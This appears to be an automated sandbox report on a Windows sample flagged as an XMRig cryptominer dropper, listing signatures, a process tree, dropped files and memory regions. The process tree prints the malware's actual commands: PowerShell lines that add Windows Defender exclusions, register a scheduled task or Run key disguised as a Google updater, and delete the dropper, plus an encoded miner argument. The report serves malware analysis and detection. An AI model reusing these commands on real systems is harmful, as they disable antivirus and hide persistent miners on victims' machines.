Resubmissions

25/01/2024, 16:55

240125-vfcyksbhgr10

24/01/2024, 17:15

240124-vstf4aecaj10

23/01/2024, 19:27

240123-x6cfvagbd910

23/01/2024, 19:27

240123-x6bvbafgem10

23/01/2024, 19:27

240123-x6bjjsgbd810

23/01/2024, 19:27

240123-x6ax1sfgek10

23/01/2024, 19:27

240123-x6abgsfgej10

23/01/2024, 19:27

240123-x591qagbd710

23/01/2024, 19:27

240123-x59d7agbd610

23/01/2024, 19:27

240123-x584esgbd510

Analysis

  • max time kernel
    1799s
  • max time network
    1801s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20231215-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20231215-enlocale:en-usos:windows10-2004-x64system
  • submitted
    23/01/2024, 19:27

General

  • Target
    grhsghsGHswgh/LM3BR4UBmKBzBP5H.exe
  • Size 2.0MB
  • Sample240123-x6bvbafgem
  • SHA256 cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e
  • MD5 SHA1 SHA512 SSDEEP
Score
10/10

Malware Config

Signatures

  • Suspicious use of NtCreateUserProcessOtherParentProcess 9 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 30 IoCs
  • Executes dropped EXE 1 IoCs
  • UPX packed file 31 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Drops file in System32 directory 3 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Drops file in Program Files directory 4 IoCs
  • Detects videocard installed 1 TTPs 2 IoCs

    Uses WMIC.exe to determine videocard installed.

  • Modifies data under HKEY_USERS 64 IoCs
  • Suspicious behavior: EnumeratesProcesses 30 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 10 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Windows\Explorer.EXE
    C:\Windows\Explorer.EXE
    1⤵
      PID:3496
      • C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\LM3BR4UBmKBzBP5H.exe
        "C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\LM3BR4UBmKBzBP5H.exe"
        2⤵
        • Suspicious use of NtCreateUserProcessOtherParentProcess
        • Drops file in Program Files directory
        • Suspicious behavior: EnumeratesProcesses
        PID:4260
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
        2⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:3312
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
        2⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:4332
      • C:\Windows\System32\cmd.exe
        C:\Windows\System32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\LM3BR4UBmKBzBP5H.exe"
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:3624
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#glbtb#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "GoogleUpdateTaskMachineQC" } Else { "C:\Program Files\Google\Chrome\updater.exe" }
        2⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of WriteProcessMemory
        PID:3216
        • C:\Windows\system32\schtasks.exe
          "C:\Windows\system32\schtasks.exe" /run /tn GoogleUpdateTaskMachineQC
          3⤵
            PID:1104
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
          2⤵
          • Drops file in System32 directory
          • Modifies data under HKEY_USERS
          • Suspicious behavior: EnumeratesProcesses
          PID:1816
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
          2⤵
          • Drops file in System32 directory
          • Modifies data under HKEY_USERS
          • Suspicious behavior: EnumeratesProcesses
          PID:4648
        • C:\Windows\System32\cmd.exe
          C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
          2⤵
          • Drops file in Program Files directory
          • Suspicious use of WriteProcessMemory
          PID:4592
          • C:\Windows\System32\Wbem\WMIC.exe
            wmic PATH Win32_VideoController GET Name, VideoProcessor
            3⤵
            • Detects videocard installed
            PID:2788
        • C:\Windows\System32\conhost.exe
          C:\Windows\System32\conhost.exe qtdiqnkejoz
          2⤵
          • Suspicious use of NtCreateUserProcessOtherParentProcess
          • Suspicious behavior: EnumeratesProcesses
          PID:2052
        • C:\Windows\System32\conhost.exe
          C:\Windows\System32\conhost.exe coygkprqxpklmnvz 6E3sjfZq2rJQaxvLPmXgsF7vH8nKLC0ur3jCwye3fPooFst8AJlNjZc1TvSyIQTKz3bkbADxizSwgp6IHJKg4enmph7iNmIeAYcJJRGkawcinVbrMdr45fHmW9ZqCrw3dSLKVMKzrI2u4sgGlTj0G1RmIYUpqYq+tIjGyNap0si+Bl1xh/1o3aGmtmdST7PlUgkYz6ci8qWCk/Icfx3DrSi2oQaBV3Dr68Ysn/4ifK09AI9K4Wz/J2kKABX44SMSz/klz2Q+FtxUOLuLpB0ApMJVvTxUIOnUHLATPgLq86uJLXtnMRoz90CklrR3X6ggj+Qodet1aWyPnFIog0clkH9Lt1wIn/XNs6NZ/3bJg2NyJ2xuvDRy+oOBgUebKWiz
          2⤵
            PID:2484
        • C:\Windows\System32\choice.exe
          choice /C Y /N /D Y /T 3
          1⤵
            PID:768
          • C:\Program Files\Google\Chrome\updater.exe
            "C:\Program Files\Google\Chrome\updater.exe"
            1⤵
            • Suspicious use of NtCreateUserProcessOtherParentProcess
            • Executes dropped EXE
            • Suspicious use of SetThreadContext
            • Drops file in Program Files directory
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of WriteProcessMemory
            PID:4036
            • C:\Windows\System32\cmd.exe
              C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
              2⤵
              • Drops file in Program Files directory
              • Suspicious use of WriteProcessMemory
              PID:3112
              • C:\Windows\System32\Wbem\WMIC.exe
                wmic PATH Win32_VideoController GET Name, VideoProcessor
                3⤵
                • Detects videocard installed
                PID:4784

          Network

                MITRE ATT&CK Enterprise v15

                Replay Monitor

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                Downloads

                updater.exe

                • Path C:\Program Files\Google\Chrome\updater.exe
                • Size 345KB
                • SHA256 4b23383dc924560960e697fcaee776e79acd40a2754fa11fceecbbaa78ef4ff7
                • MD5 SHA1 SHA512 SSDEEP

                updater.exe

                • Path C:\Program Files\Google\Chrome\updater.exe
                • Size 2.0MB
                • SHA256 cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e
                • MD5 SHA1 SHA512 SSDEEP

                g.log

                • Path C:\Program Files\Google\Libs\g.log
                • Size 226B
                • SHA256 b9a385645ec2edddbc88b01e6b21362c14e9d7895712e67d375874eb7308e398
                • MD5 SHA1 SHA512

                powershell.exe.log

                • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
                • Size 2KB
                • SHA256 8ef7a682dfd99ff5b7e9de0e1be43f0016d68695a43c33c028af2635cc15ecfe
                • MD5 SHA1 SHA512

                StartupProfileData-NonInteractive

                • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                • Size 944B
                • SHA256 7437b098af4618fbcefe7522942c862aeaf39a0b82ce05b0797185c552f22a3c
                • MD5 SHA1 SHA512

                StartupProfileData-NonInteractive

                • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                • Size 1KB
                • SHA256 f6f4442564ab77163d4d1ffffc74c3d714102979ee9e075c5235174c6e5761db
                • MD5 SHA1 SHA512

                __PSScriptPolicyTest_zfmsggbe.e2z.ps1

                • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_zfmsggbe.e2z.ps1
                • Size 60B
                • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
                • MD5 SHA1 SHA512

                powershell.exe.log

                • Path C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
                • Size 4KB
                • SHA256 e3274ce8296f2cd20e3189576fbadbfa0f1817cdf313487945c80e968589a495
                • MD5 SHA1 SHA512 SSDEEP

                StartupProfileData-NonInteractive

                • Path C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                • Size 1KB
                • SHA256 8ed3b348989cdc967d1fc0e887b2a2f5a656680d8d14ebd3cb71a10c2f55867a
                • MD5 SHA1 SHA512

                memory/1816-79-0x00000226DAFB0000-0x00000226DAFBA000-memory.dmp

                memory/1816-87-0x00007FF8127A0000-0x00007FF813261000-memory.dmp

                memory/1816-84-0x00000226D89E0000-0x00000226D89F0000-memory.dmp

                memory/1816-83-0x00000226DB000000-0x00000226DB00A000-memory.dmp

                memory/1816-82-0x00000226DAFF0000-0x00000226DAFF6000-memory.dmp

                memory/1816-81-0x00000226DAFC0000-0x00000226DAFC8000-memory.dmp

                memory/1816-80-0x00000226DB010000-0x00000226DB02A000-memory.dmp

                memory/1816-78-0x00000226DAFD0000-0x00000226DAFEC000-memory.dmp

                memory/1816-77-0x00000226DAE60000-0x00000226DAE6A000-memory.dmp

                memory/1816-75-0x00000226D89E0000-0x00000226D89F0000-memory.dmp

                memory/1816-76-0x00000226DADA0000-0x00000226DAE55000-memory.dmp

                memory/1816-74-0x00000226DAD80000-0x00000226DAD9C000-memory.dmp

                memory/1816-56-0x00000226D89E0000-0x00000226D89F0000-memory.dmp

                memory/1816-53-0x00007FF8127A0000-0x00007FF813261000-memory.dmp

                memory/1816-54-0x00000226D89E0000-0x00000226D89F0000-memory.dmp

                memory/2052-127-0x00007FF76BFA0000-0x00007FF76BFB6000-memory.dmp

                memory/2052-133-0x00007FF76BFA0000-0x00007FF76BFB6000-memory.dmp

                memory/2484-171-0x00007FF773AE0000-0x00007FF7742D4000-memory.dmp

                memory/2484-191-0x00007FF773AE0000-0x00007FF7742D4000-memory.dmp

                memory/2484-165-0x00007FF773AE0000-0x00007FF7742D4000-memory.dmp

                memory/2484-179-0x00007FF773AE0000-0x00007FF7742D4000-memory.dmp

                memory/2484-143-0x00007FF773AE0000-0x00007FF7742D4000-memory.dmp

                memory/2484-193-0x00007FF773AE0000-0x00007FF7742D4000-memory.dmp

                memory/2484-169-0x00007FF773AE0000-0x00007FF7742D4000-memory.dmp

                memory/2484-159-0x00007FF773AE0000-0x00007FF7742D4000-memory.dmp

                memory/2484-173-0x00007FF773AE0000-0x00007FF7742D4000-memory.dmp

                memory/2484-177-0x00007FF773AE0000-0x00007FF7742D4000-memory.dmp

                memory/2484-175-0x00007FF773AE0000-0x00007FF7742D4000-memory.dmp

                memory/2484-183-0x00007FF773AE0000-0x00007FF7742D4000-memory.dmp

                memory/2484-189-0x00007FF773AE0000-0x00007FF7742D4000-memory.dmp

                memory/2484-157-0x00007FF773AE0000-0x00007FF7742D4000-memory.dmp

                memory/2484-155-0x00007FF773AE0000-0x00007FF7742D4000-memory.dmp

                memory/2484-153-0x00007FF773AE0000-0x00007FF7742D4000-memory.dmp

                memory/2484-151-0x00007FF773AE0000-0x00007FF7742D4000-memory.dmp

                memory/2484-149-0x00007FF773AE0000-0x00007FF7742D4000-memory.dmp

                memory/2484-163-0x00007FF773AE0000-0x00007FF7742D4000-memory.dmp

                memory/2484-147-0x00007FF773AE0000-0x00007FF7742D4000-memory.dmp

                memory/2484-167-0x00007FF773AE0000-0x00007FF7742D4000-memory.dmp

                memory/2484-145-0x00007FF773AE0000-0x00007FF7742D4000-memory.dmp

                memory/2484-125-0x00007FF773AE0000-0x00007FF7742D4000-memory.dmp

                memory/2484-124-0x0000023FC3DE0000-0x0000023FC3E00000-memory.dmp

                memory/2484-126-0x0000023FC44C0000-0x0000023FC44E0000-memory.dmp

                memory/2484-181-0x00007FF773AE0000-0x00007FF7742D4000-memory.dmp

                memory/2484-128-0x00007FF773AE0000-0x00007FF7742D4000-memory.dmp

                memory/2484-129-0x0000023FC44E0000-0x0000023FC4500000-memory.dmp

                memory/2484-130-0x0000023FC4500000-0x0000023FC4520000-memory.dmp

                memory/2484-132-0x00007FF773AE0000-0x00007FF7742D4000-memory.dmp

                memory/2484-161-0x00007FF773AE0000-0x00007FF7742D4000-memory.dmp

                memory/2484-134-0x00007FF773AE0000-0x00007FF7742D4000-memory.dmp

                memory/2484-135-0x00007FF773AE0000-0x00007FF7742D4000-memory.dmp

                memory/2484-137-0x00007FF773AE0000-0x00007FF7742D4000-memory.dmp

                memory/2484-138-0x0000023FC44E0000-0x0000023FC4500000-memory.dmp

                memory/2484-139-0x0000023FC4500000-0x0000023FC4520000-memory.dmp

                memory/2484-141-0x00007FF773AE0000-0x00007FF7742D4000-memory.dmp

                memory/3216-51-0x00007FF8127A0000-0x00007FF813261000-memory.dmp

                memory/3216-46-0x000001CBD0FE0000-0x000001CBD0FF0000-memory.dmp

                memory/3216-47-0x000001CBD0FE0000-0x000001CBD0FF0000-memory.dmp

                memory/3216-45-0x00007FF8127A0000-0x00007FF813261000-memory.dmp

                memory/3312-10-0x0000017CBD4A0000-0x0000017CBD4C2000-memory.dmp

                memory/3312-11-0x00007FF8127A0000-0x00007FF813261000-memory.dmp

                memory/3312-12-0x0000017CBD590000-0x0000017CBD5A0000-memory.dmp

                memory/3312-13-0x0000017CBD590000-0x0000017CBD5A0000-memory.dmp

                memory/3312-16-0x00007FF8127A0000-0x00007FF813261000-memory.dmp

                memory/4036-123-0x00007FF729C30000-0x00007FF729E41000-memory.dmp

                memory/4036-52-0x00007FF729C30000-0x00007FF729E41000-memory.dmp

                memory/4260-35-0x00007FF74DC20000-0x00007FF74DE31000-memory.dmp

                memory/4260-0-0x00007FF74DC20000-0x00007FF74DE31000-memory.dmp

                memory/4332-20-0x0000016D74260000-0x0000016D74270000-memory.dmp

                memory/4332-33-0x00007FF8127A0000-0x00007FF813261000-memory.dmp

                memory/4332-31-0x0000016D74260000-0x0000016D74270000-memory.dmp

                memory/4332-19-0x0000016D74260000-0x0000016D74270000-memory.dmp

                memory/4332-18-0x00007FF8127A0000-0x00007FF813261000-memory.dmp

                memory/4648-101-0x000001EDFE4D0000-0x000001EDFE4E0000-memory.dmp

                memory/4648-100-0x000001EDFE4D0000-0x000001EDFE4E0000-memory.dmp

                memory/4648-99-0x00007FF8127A0000-0x00007FF813261000-memory.dmp

                memory/4648-111-0x000001EDFE4D0000-0x000001EDFE4E0000-memory.dmp

                memory/4648-112-0x000001EDFE4D0000-0x000001EDFE4E0000-memory.dmp

                memory/4648-114-0x00007FF8127A0000-0x00007FF813261000-memory.dmp